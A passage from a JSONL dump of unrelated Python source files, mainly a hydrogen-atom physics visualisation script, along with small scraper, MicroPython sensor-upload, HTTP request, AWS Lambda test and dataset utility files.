__len__(self):\n return self.n_batch\n\n def __iter__(self):\n batch_in_list = []\n ark2idx_copy = copy.deepcopy(self.ark2idx)\n for ark_idx in ark2idx_copy:\n random.shuffle(ark_idx)\n for i in range(int(len(ark_idx) // self.batch_size)):\n batch_in_list.append(ark_idx[i * self.batch_size: i * self.batch_size + self.batch_size])\n if (not self.drop_last) and (len(ark_idx) % self.batch_size > 0):\n batch_in_list.append(ark_idx[(i + 1) * self.batch_size:])\n random.shuffle(batch_in_list)\n for batch in batch_in_list[0: self.n_batch]:\n yield batch","sub_path":"code/Test/pkg/Dataset/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"263331718","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: chaowang\n# @Date: 2015-08-05 16:38:25\n# @Last Modified by: chaowang\n# @Last Modified time: 2015-08-05 16:42:05\n\nimport re, time\nurl_pool = []\nfrom collections import Counter\n\nwith open('featureed.txt', 'r') as f:\n\tfor line in f.readlines():\n\n\t\tif len(line) > 10:\n\t\t\turl = line.split(' ')[0]\n\t\t\turl = '/'.join(url.split('/')[:3])\n\t\t\turl_pool.append(url)\n\t\t\t# time.sleep(3)\n\n\n\tcter = Counter(url_pool)\n\nfrom pprint import pprint\n\npprint(cter.most_common(100))","sub_path":"usermodel/NB_huolejianguo/parse_url_featured.py","file_name":"parse_url_featured.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"263311187","text":"import unittest\nimport env\nfrom util import ItemScraper\n\nclass TestAmazonPP(unittest.TestCase):\n\tdef test_dp_id(self):\n\t\turl = \"https://www.amazon.com/dp/B00X4WHP5E/ref=fs_ods_fs_ha_dr\"\n\t\t#url = \"https://www.amazon.com/gp/product/B00ZSJMQ6E/ref=ox_sc_act_title_1?ie=UTF8&psc=1&smid=ATVPDKIKX0DER\"\n\t\tscraper = ItemScraper(url)\n\t\tself.assertEqual(\"Amazon Echo - Black\", scraper.get_title())\n\t\tself.assertEqual(\"B00X4WHP5E\", scraper.get_identifier())\n\t\t#print , scraper.get_image_path(), scraper.get_price(), scraper.get_identifier()\n\tdef test_product_dp_id(self):\n\t\turl = \"https://www.amazon.com/gp/product/B00ZSJMQ6E/ref=ox_sc_act_title_1?ie=UTF8&psc=1&smid=ATVPDKIKX0DER\"\n\t\tscraper = ItemScraper(url)\n\t\tself.assertEqual(\"LEGO Ideas The Big Bang Theory 21302 Building Kit\", scraper.get_title())\n\t\tself.assertEqual(\"B00ZSJMQ6E\", scraper.get_identifier())\n\nif __name__ == '__main__':\n\tunittest.main()","sub_path":"util/tests/item_scraper_test.py","file_name":"item_scraper_test.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"638221095","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 11 22:17:26 2019\n\n@author: Brandon\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D \n\n\n\ne0=8.8541878128e-12\necharge=1.60217662e-19\nhbar=1.0545718e-34\nme=9.10938356e-31\na0=5.29177210903e-11\nc=299792458\nh=6.6260693e-34\n\ndef r(n):\n rn=(4*np.pi*e0*(hbar**2)*n**2)/(me*(echarge**2))\n return rn/a0\n\ndef v(n):\n vn=hbar/(me*a0*n)\n return vn\n\ndef p(n):\n pn=hbar/(a0*n)\n return pn/1e-24\n\ndef E(n):\n En=-((me*(echarge**4))/(32*(np.pi**2)*(e0**2)*(hbar**2)))*(1/(n**2))\n En=En*6.242e18\n return En\n\ndef delE(m,n):\n delE=np.absolute(E(m)-E(n))\n return delE\n\ndef photonwavel(delE):\n l=h*c/(delE*1.60218e-19)\n return l\n\ndef photonfreq(l):\n f=c/l\n return f\n\ndef Zr(z,n):\n Zr=(4*np.pi*e0*(hbar**2)*n**2)/(me*z*(echarge**2))\n return Zr\n\ndef Ze(z,n):\n Zn=-((me*(z**2)*(echarge**4))/(32*(np.pi**2)*(e0**2)*(hbar**2)))*(1/(n**2))\n Zn=Zn*6.242e18\n return Zn\n\ndef delZe(z,m,n):\n delZe=np.absolute(Ze(z,m)-Ze(z,n))\n return delZe\n\n\n\ndef prob_1s(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n return np.square((2/(np.sqrt(np.pi)))*np.e**(-r))\n\nx=np.linspace(-5,5,30)\ny=np.linspace(-5,5,30)\nz=np.linspace(-5,5,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_1s(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 1s density\")\nplt.show()\n\n\ndef prob_2s(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n return np.square((1/(4*np.sqrt(2*np.pi))*(2-(r))*np.e**(-r/2)))\n\nx=np.linspace(-10,10,30)\ny=np.linspace(-10,10,30)\nz=np.linspace(-10,10,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_2s(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 2s density\")\nplt.show()\n\n\ndef prob_2p(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n phi=np.arctan(y/x)\n theta=np.arccos(z/r)\n return np.square((1/4)*(1/np.sqrt(2*np.pi))*r*(np.e**(-r))*np.cos(theta))\n\nx=np.linspace(-10,10,30)\ny=np.linspace(-10,10,30)\nz=np.linspace(-10,10,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_2p(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 2p density\")\nplt.show()\n\n\ndef prob_3s(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n phi=np.arctan(y/x)\n theta=np.arccos(z/r)\n return np.square((1/81)*(1/(np.sqrt(3*np.pi)))*(np.e**(-r/3))*(27-(18*r)+(2*r**2)))\n\nx=np.linspace(-15,15,30)\ny=np.linspace(-15,15,30)\nz=np.linspace(-15,15,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_3s(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 3s density\")\nplt.show()\n\n\ndef prob_3p(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n phi=np.arctan(y/x)\n theta=np.arccos(z/r)\n return np.square((np.sqrt(2)/81)*(1/(np.sqrt(np.pi)))*(np.e**(-r/3))*(6-r))\n\nx=np.linspace(-25,25,30)\ny=np.linspace(-25,25,30)\nz=np.linspace(-25,25,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_3p(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 3p density\")\nplt.show()\n\ndef prob_3d(x,y,z):\n r=np.sqrt(np.square(x)+np.square(y)+np.square(z))\n phi=np.arctan(y/x)\n theta=np.arccos(z/r)\n return np.square(((r**2)/81)*(1/np.sqrt(6*np.pi))*(np.e**(-r/3))*((3*np.cos(theta)**2)-1))\n\nx=np.linspace(-25,25,30)\ny=np.linspace(-25,25,30)\nz=np.linspace(-25,25,30)\nelements = []\nprobability = []\nfor ix in x:\n for iy in y:\n for iz in z:\n elements.append(str((ix,iy,iz)))\n probability.append(prob_3d(ix,iy,iz))\n \n\nprobability = probability/sum(probability)\n\ncoord = np.random.choice(elements, size=100000, replace=True, p=probability)\nelem_mat = [i.split(',') for i in coord]\nelem_mat = np.matrix(elem_mat)\nx_coords = [float(i.item()[1:]) for i in elem_mat[:,0]] \ny_coords = [float(i.item()) for i in elem_mat[:,1]] \nz_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x_coords, y_coords, z_coords, alpha=0.05)\nax.set_title(\"Hydrogen 3d density\")\nplt.show()\n\n\nn=1\nEs=[]\nradii=[]\nVs=[]\nPs=[]\nwhile n<=10:\n e=E(n)\n rs=r(n)\n vs=v(n)\n ps=p(n)\n radii.append([rs,rs])\n Es.append([e,e])\n Vs.append([vs,vs])\n Ps.append([ps,ps])\n n=n+1\n\n\n\nx=[1,2]\nplt.figure(figsize=(1.5,6))\nplt.plot(x,Es[0],'k')\nplt.plot(x,Es[1],'k')\nplt.plot(x,Es[2],'k')\nplt.plot(x,Es[3],'k')\nplt.plot(x,Es[4],'k')\nplt.plot(x,Es[5],'k')\nplt.plot(x,Es[6],'k')\nplt.plot(x,Es[7],'k')\nplt.plot(x,Es[8],'k')\nplt.plot(x,Es[9],'k')\nplt.xlim(1.1,1.9)\nplt.yticks([-13.6, -3.4, -1.5, -.85, -.2],('n=1, -13.6eV','n=2, -3.4eV','n=3, -1.5eV','n=4,0.85eV','n=5+'))\nplt.xticks([])\nplt.title('Energy Levels of a Hydrogen Atom electron')\nplt.show()\n\n\nplt.figure(figsize=(1.5,6))\nplt.plot(x,radii[0],'k')\nplt.plot(x,radii[1],'k')\nplt.plot(x,radii[2],'k')\nplt.plot(x,radii[3],'k')\nplt.plot(x,radii[4],'k')\nplt.plot(x,radii[5],'k')\nplt.plot(x,radii[6],'k')\nplt.plot(x,radii[7],'k')\nplt.plot(x,radii[8],'k')\nplt.plot(x,radii[9],'k')\nplt.xlim(1.1,1.9)\nplt.yticks([1,4,8,16,25,36,49,64,81,100])\nplt.xticks([])\nplt.title('Quantized Radii of electron [Bohr radii]')\nplt.show()\n\nplt.figure(figsize=(1.5,6))\nplt.plot(x,Vs[0],'k')\nplt.plot(x,Vs[1],'k')\nplt.plot(x,Vs[2],'k')\nplt.plot(x,Vs[3],'k')\nplt.plot(x,Vs[4],'k')\nplt.plot(x,Vs[5],'k')\nplt.plot(x,Vs[6],'k')\nplt.plot(x,Vs[7],'k')\nplt.plot(x,Vs[8],'k')\nplt.plot(x,Vs[9],'k')\nplt.xlim(1.1,1.9)\nplt.yticks([2.2e6,1.1e6,7.3e5,5.5e5,4.4e5,3.6e5],('2.2e6','1.1e6','7.3e5','5.5e5','4.4e5','n=6+'))\nplt.xticks([])\nplt.title('Quantized Velocity of electron [m/s]')\nplt.show()\n\nplt.figure(figsize=(1.5,6))\nplt.plot(x,Ps[0],'k')\nplt.plot(x,Ps[1],'k')\nplt.plot(x,Ps[2],'k')\nplt.plot(x,Ps[3],'k')\nplt.plot(x,Ps[4],'k')\nplt.plot(x,Ps[5],'k')\nplt.plot(x,Ps[6],'k')\nplt.plot(x,Ps[7],'k')\nplt.plot(x,Ps[8],'k')\nplt.plot(x,Ps[9],'k')\nplt.xlim(1.1,1.9)\nplt.yticks([2,1,.66,.5,.4,.33],('2','1','.66','.5','.4','n=6+'))\nplt.xticks([])\nplt.title('Quantized momenta of electron [e-24 kg.m/s]')\nplt.show()\n\nzs=2\n\nZEs=[]\nwhile zs<=5:\n zes=Ze(zs,1)\n ZEs.append([zes,zes])\n zs=zs+1\n \nplt.figure(figsize=(1.5,6))\nplt.plot(x,ZEs[0])\nplt.plot(x,ZEs[1])\nplt.plot(x,ZEs[2])\nplt.plot(x,ZEs[3])\nplt.xlim(1.1,1.9)\nplt.yticks([-54.43,-122.46,-217.71,-340.17],('He(-54.43Ev)','Li(-122.46eV)','Be(-217.71eV)','B(-340.17eV)'))\nplt.xticks([])\nplt.title('Ionizing Energy of ground state electron for Z=2-5')\nplt.show() \n\n\nm,n=10,2\n\nBalmerphotonE=[]\nBalmerphotonwavelength=[]\n\nwhile m>n:\n BPE=delE(m,n)\n BPW=photonwavel(BPE)\n BPWref=BPW/1e-9\n BalmerphotonE.append(BPE)\n Balmerphotonwavelength.append([BPWref,BPWref])\n m=m-1\n \nplt.figure(figsize=(15,1.5))\nax=plt.axes()\nax.set_facecolor('black')\nplt.plot(Balmerphotonwavelength[0],x, color='indigo')\nplt.plot(Balmerphotonwavelength[1],x, color='indigo')\nplt.plot(Balmerphotonwavelength[2],x, color='indigo')\nplt.plot(Balmerphotonwavelength[3],x, color='indigo')\nplt.plot(Balmerphotonwavelength[4],x, color='purple')\nplt.plot(Balmerphotonwavelength[5],x, color='blue')\nplt.plot(Balmerphotonwavelength[6],x, color='green')\nplt.plot(Balmerphotonwavelength[7],x, color='red')\nplt.ylim(1.1,1.9)\nplt.xticks([396,410,434,485,656],('<---UV','410nm','434nm','486nm','656nm'))\nplt.title('Balmer series Hydrogen Emission Spectrum')\nplt.yticks([])\nplt.show()\n\n\n \n \n \nfrom mpl_toolkits.mplot3d import Axes3D \n\n\n\nn=1\nL=1\nk=n*np.pi/L\nx=0\npsi=np.sqrt(2/L)*np.sin(k*x)\ndpsi=np.sqrt(2)*k*np.cos(k*x)/np.sqrt(L)\nX=[x]\nPSI=[0]\nP=[psi**2]\ndx=1e-5\nwhile x<=L:\n d2psi=-k**2*(np.sqrt(2/L))*np.sin(k*x)\n dpsi=dpsi+d2psi*dx\n psi=psi+dpsi*dx\n x=x+dx\n X.append(x)\n PSI.append(psi)\n P.append((np.sqrt(2/L)*np.sin(k*x))**2)\n\n\nn=2\nL=1\nk=n*np.pi/L\nx=0\npsi=np.sqrt(2/L)*np.sin(k*x)\ndpsi=np.sqrt(2)*k*np.cos(k*x)/np.sqrt(L)\nPSI2=[0]\nP2=[psi**2]\ndx=1e-5\nwhile x<=L:\n d2psi=-k**2*(np.sqrt(2/L))*np.sin(k*x)\n dpsi=dpsi+d2psi*dx\n psi=psi+dpsi*dx\n x=x+dx\n PSI2.append(psi+5)\n P2.append(((np.sqrt(2/L)*np.sin(k*x))**2)+5)\n \nn=3\nL=1\nk=n*np.pi/L\nx=0\npsi=np.sqrt(2/L)*np.sin(k*x)\ndpsi=np.sqrt(2)*k*np.cos(k*x)/np.sqrt(L)\nPSI3=[0]\nP3=[psi**2]\ndx=1e-5\nwhile x<=L:\n d2psi=-k**2*(np.sqrt(2/L))*np.sin(k*x)\n dpsi=dpsi+d2psi*dx\n psi=psi+dpsi*dx\n x=x+dx\n PSI3.append(psi+10)\n P3.append(((np.sqrt(2/L)*np.sin(k*x))**2)+10)\n\nn=4\nL=1\nk=n*np.pi/L\nx=0\npsi=np.sqrt(2/L)*np.sin(k*x)\ndpsi=np.sqrt(2)*k*np.cos(k*x)/np.sqrt(L)\nPSI4=[0]\nP4=[psi**2]\ndx=1e-5\nwhile x<=L:\n d2psi=-k**2*(np.sqrt(2/L))*np.sin(k*x)\n dpsi=dpsi+d2psi*dx\n psi=psi+dpsi*dx\n x=x+dx\n PSI4.append(psi+15)\n P4.append(((np.sqrt(2/L)*np.sin(k*x))**2)+15) \n \nxgrid=[0,1]\nygrid=[[0,0],[5,5],[10,10],[15,15]]\n\nplt.figure(figsize=(3,6))\nplt.title('Wave function for Psi(x,n)')\nplt.plot(X,PSI,color='blue')\nplt.plot(xgrid,ygrid[0],color='black')\nplt.plot(xgrid,ygrid[1],color='black')\nplt.plot(xgrid,ygrid[2],color='black')\nplt.plot(xgrid,ygrid[3],color='black')\nplt.plot(X,PSI2,color='blue')\nplt.plot(X,PSI3,color='blue')\nplt.plot(X,PSI4,color='blue')\nplt.xlim(0,1)\nplt.yticks([0,5,10,15],('n=1','n=2','n=3','n=4'))\nplt.xticks([0,1],('0','L'))\nplt.show() \n \nplt.figure(figsize=(3,6))\nplt.title('Probability curve for Psi(x,n)')\nplt.plot(X,P,color='blue')\nplt.plot(X,P2,color='blue')\nplt.plot(X,P3,color='blue')\nplt.plot(X,P4,color='blue')\nplt.plot(xgrid,ygrid[0],color='black')\nplt.plot(xgrid,ygrid[1],color='black')\nplt.plot(xgrid,ygrid[2],color='black')\nplt.plot(xgrid,ygrid[3],color='black')\nplt.xlim(0.1,1)\nplt.yticks([0,5,10,15],('n=1','n=2','n=3','n=4'))\nplt.xticks([0,1],('0','L'))\nplt.show()\n\nn=1\nk=n*np.pi/L\ndef f(x, y):\n return np.sqrt(2/L)*np.sin(k*x)*np.sqrt(2/L)*np.sin(k*y)\n\nx = np.linspace(-L, L, 30)\ny = np.linspace(-L, L, 30)\n\nX, Y = np.meshgrid(x, y)\nZ = f(X, Y)\nfig = plt.figure()\nax = plt.axes(projection='3d')\nax.contour3D(X, Y, Z, 50, cmap='viridis')\nax.set_xlabel('x')\nplt.xticks([])\nplt.yticks([])\nax.set_zticks([])\nax.set_ylabel('y')\nax.set_zlabel('z')\n\nimport scipy.integrate as inte\nimport scipy.optimize as opt\n\ndef findzeros(rightvals):\n return np.where(np.diff(np.signbit(rightvals)))[0]\n\ndef shoot_ode(E,psi_init,x,L):\n sol=inte.odeint(schrderiv,psi_init,x,args=(L,E))\n return sol[len(sol)-1][0]\n\ndef schrderiv(y,r,L,E):\n du2=y[0]*((L*(L+1))/(r**2)-2/r-E)\n return [y[1],du2]\n\ndef normalize(output):\n normal = max(output)\n return output*(1/normal)\n\ndef shoothydr(psi_init,h_,L):\n x_arr_hy=np.arange(0.0001,35.0+h_,h_)\n E_arr = np.arange(-1,0,.001)\n rightb=[]\n for EE in E_arr:\n psi=inte.odeint(schrderiv,psi_init,x_arr_hy,args=(L,EE))[:,0]\n rightb.append(psi[len(psi)-1])\n rightb_arr=np.asarray(rightb)\n crossings=findzeros(rightb_arr)\n energy_1=[]\n for cross in crossings:\n energy_1.append(opt.newton(shoot_ode,E_arr[cross],args=(psi_init,x_arr_hy,L)))\n psi_out=[]\n for EN in energy_1:\n psi_out.append(inte.odeint(schrderiv,psi_init,x_arr_hy,args=(L,EN))[:,0])\n return x_arr_hy,np.asarray(psi_out)\n\ndef HYDRO(x,N,L):\n if (((N-L-1)==0) and (L==0)):\n return x*np.exp(-x)\n elif (((N-L-1)==1) and (L==0)):\n return (np.sqrt(2)*(-x+2)*np.exp(-x/2)/4)*x\n elif ((N-L-1)==2):\n return (2*np.sqrt(3)*(2*x**2/9-2*x+3)*np.exp(-x/3)/27)*x\n elif (((N-L-1)==0) and (L==1)):\n return (np.sqrt(6)*x*np.exp(-x/2)/12)*x\n else:\n print(\"No wavefunction found\")\n \ndef plot_wave(fig,title_string,x_arr,num_arr,ana_arr,axis_list):\n plt.cla()\n plt.clf()\n plt.plot(x_arr,num_arr,'b.',linewidth=4,label=r\"$\\Psi(\\hat{x})_{num}$\")\n plt.plot(x_arr,normalize(ana_arr),'r-',label=r\"$\\Psi(\\hat{x})_{ana}$\")\n plt.ylabel(r\"$\\Psi(\\hat{x})$\",fontsize=16)\n plt.xlabel(r\"$\\hat{x}$\",fontsize='small')\n plt.axis(axis_list)\n plt.title(title_string)\n plt.grid()\n \n \npsi_0=0.0\nphi_0=1.0\npsi_init=np.asarray([psi_0,phi_0])\nh_=1.0/200.0 \n \nfig=plt.figure()\nhydro_x,hydro_num=shoothydr(psi_init,h_,0)\nhydro_x2p,hydro_num2p=shoothydr(psi_init,h_,1)\nhydro_ana1s=HYDRO(hydro_x,1,0)\nhydro_ana2s=HYDRO(hydro_x,2,0)\nhydro_ana3s=HYDRO(hydro_x,3,0)\nhydro_ana2p=HYDRO(hydro_x,2,1)\nprint(\"Hydrogen shooting\")\nplot_wave(fig,\"Hydrogen Atom, 1s\",hydro_x,normalize(hydro_num[0,:]),hydro_ana1s,[-0.1,30,-0.1,1.2])\nfig1=plt.figure()\nplot_wave(fig1,\"Hydrogen Atom, 2s\",hydro_x,normalize(hydro_num[1,:]),hydro_ana2s,[-0.1,30,-2.2,1.2])\nfig2=plt.figure()\nplot_wave(fig2,\"Hydrogen Atom, 2p\",hydro_x2p,normalize(hydro_num2p[0,:]),hydro_ana2p,[-0.1,30,-0.1,1.2])\nfig3=plt.figure()\nplot_wave(fig3,\"Hydrogen Atom, 3s\",hydro_x,normalize(hydro_num[2,:]),hydro_ana3s,[-0.1,30,-1.2,1.2])\n\nfrom mayavi import mlab\n\n\nx, y, z = np.ogrid[-25:25:200j, -25:25:200j, -25:25:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square(((r**2)/81)*(1/np.sqrt(6*np.pi))*(np.e**(-r/3))*((3*np.cos(theta)**2)-1))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"3d Hydrogen\")\nmlab.show()\n\nx, y, z = np.ogrid[-25:25:200j, -25:25:200j, -25:25:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square((np.sqrt(2)/81)*(1/(np.sqrt(np.pi)))*(np.e**(-r/3))*(6-r))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"3p Hydrogen\")\nmlab.show()\n\nx, y, z = np.ogrid[-15:15:200j, -15:15:200j, -15:15:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square((1/81)*(1/(np.sqrt(3*np.pi)))*(np.e**(-r/3))*(27-(18*r)+(2*r**2)))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"3s Hydrogen\")\nmlab.show()\n\nx, y, z = np.ogrid[-10:10:200j, -10:10:200j, -10:10:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square((1/4)*(1/np.sqrt(2*np.pi))*r*(np.e**(-r))*np.cos(theta))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"2p Hydrogen\")\nmlab.show()\n\nx, y, z = np.ogrid[-10:10:200j, -10:10:200j, -10:10:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square((1/(4*np.sqrt(2*np.pi))*(2-(r))*np.e**(-r/2)))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"2s Hydrogen\")\nmlab.show()\n\nx, y, z = np.ogrid[-5:5:200j, -5:5:200j, -5:5:200j]\nr=np.sqrt(np.square(x)+np.square(y)+np.square(z))\nphi=np.arctan(y/x)\ntheta=np.arccos(z/r)\ns=np.square((2/(np.sqrt(np.pi)))*np.e**(-r))\n\nmlab.pipeline.volume(mlab.pipeline.scalar_field(s))\nmlab.title(\"1s Hydrogen\")\nmlab.show()\n \n \n \n ","sub_path":"New folder/project_BSW.py","file_name":"project_BSW.py","file_ext":"py","file_size_in_byte":17414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"57147872","text":"from machine import UART\nimport socket\nimport network\nimport time\n\nuart = UART(0)\n \ndef main():\n wlan = network.WLAN(network.STA_IF) \n if not wlan.isconnected():\n wlan.active(True)\n wlan.connect('gogo_mt', 'ilovecpeilovecpe') \n while not wlan.isconnected():\n pass\n print('network config:', wlan.ifconfig()) \n while wlan.isconnected():\n data = uart.read(100)\n if data != None:\n a = str(data[2:])\n b = a.split('\\'')\n c = b[1].split('\\\\')\n d = c[0].split(',')\n if d[0]=='field1':\n f1 = d[0]\n v1 = d[1]\n i = 1\n else:\n f2 = d[0]\n v2 = d[1]\n i = 2\n GET = 'update?key=E5JNXV8S63PYUUCW'\n host = 'data.learninginventions.org'\n addr = socket.getaddrinfo(host, 80)[0][-1]\n s = socket.socket()\n s.connect(addr)\n s.send(bytes('GET /%s HTTP/1.0\\r\\nHost: %s\\r\\n\\r\\n' % (GET+'&'+f1+'='+v1+'&'+f2+'='+v2, host), 'utf8'))\n print(GET+'&'+f1+'='+v1+'&'+f2+'='+v2)\n time.sleep(1)\n s.close()\n i=0\n \n \n","sub_path":"mqtt p.bumb/uartser.py","file_name":"uartser.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"401923373","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nimport urllib.request\nimport urllib.parse\n\nurl = 'https://fanyi.baidu.com/sug'\n\nform_data = {\n 'kw': 'python',\n}\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \\\n AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',\n}\nform_data = urllib.parse.urlencode(form_data).encode()\nrequest = urllib.request.Request(url=url, headers=headers)\nresponse = urllib.request.urlopen(request, data=form_data)\nprint(response.read())\n","sub_path":"spiders/spider_post_first.py","file_name":"spider_post_first.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"337019542","text":"from unittest import TestCase\nfrom aws_lambda import handle_message, handle_budget\n\n\nclass LambdaTest(TestCase):\n def test_handle_message(self):\n with open('./aws_lambda_test.py', 'r') as f:\n message = f.read()\n\n actual = handle_message(message)\n expected = 'test-a'\n\n self.assertEqual(actual, expected)\n\n def test_handle_budget(self):\n user_name = 'test-a'\n handle_budget(user_name)\n self.assertTrue(True)\n","sub_path":"dev/aws-lambda-budget/aws_lambda_test.py","file_name":"aws_lambda_test.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"20408031","text":"import tensorflow as tf\nimport numpy as np\nimport cv2\nimport csv\nfrom datetime import datetime\nimport os\nimport sys\nimport threading\n\n\nnet_scale = 32\ngrid_w, grid_h = 18, 10\nn_classes = 6\niou_th = 0.7\nin_w, in_h = grid_w * net_scale, grid_h * net_scale\n\ntf.app.flags.DEFINE_string('output_directory', '/tmp/',\n 'Output data directory')\n\ntf.app.flags.DEFINE_string('csv_path', 'my_csv.csv',\n 'Output data directory')\n\ntf.app.flags.DEFINE_string('anchors_path', 'anchors.txt',\n 'Output data directory')\n\ntf.app.flags.DEFINE_string('base_name', 'teeth_pic',\n 'Output data directory')\n\ntf.app.flags.DEFINE_integer('num_threads', 2,\n 'Number of num_threads.')\n\ntf.app.flags.DEFINE_integer('train_shards', 2,\n 'Number of shards in training TFRecord files.')\n\nFLAGS = tf.app.flags.FLAGS\n\n\ndef read_anchors_file(file_path):\n anchors = []\n with open(file_path, 'r') as file:\n for line in file.read().splitlines():\n anchors.append(map(float, line.split()))\n \n return np.array(anchors)\n\n\ndef iou_wh(r1, r2):\n min_w = min(r1[0], r2[0])\n min_h = min(r1[1], r2[1])\n area_r1 = r1[0] * r1[1]\n area_r2 = r2[0] * r2[1]\n \n intersect = min_w * min_h\n union = area_r1 + area_r2 - intersect\n \n return intersect / union\n\n\ndef get_grid_cell(roi, raw_w, raw_h, grid_w, grid_h):\n x_center = roi[0] + roi[2] / 2.0\n y_center = roi[1] + roi[3] / 2.0\n \n grid_x = 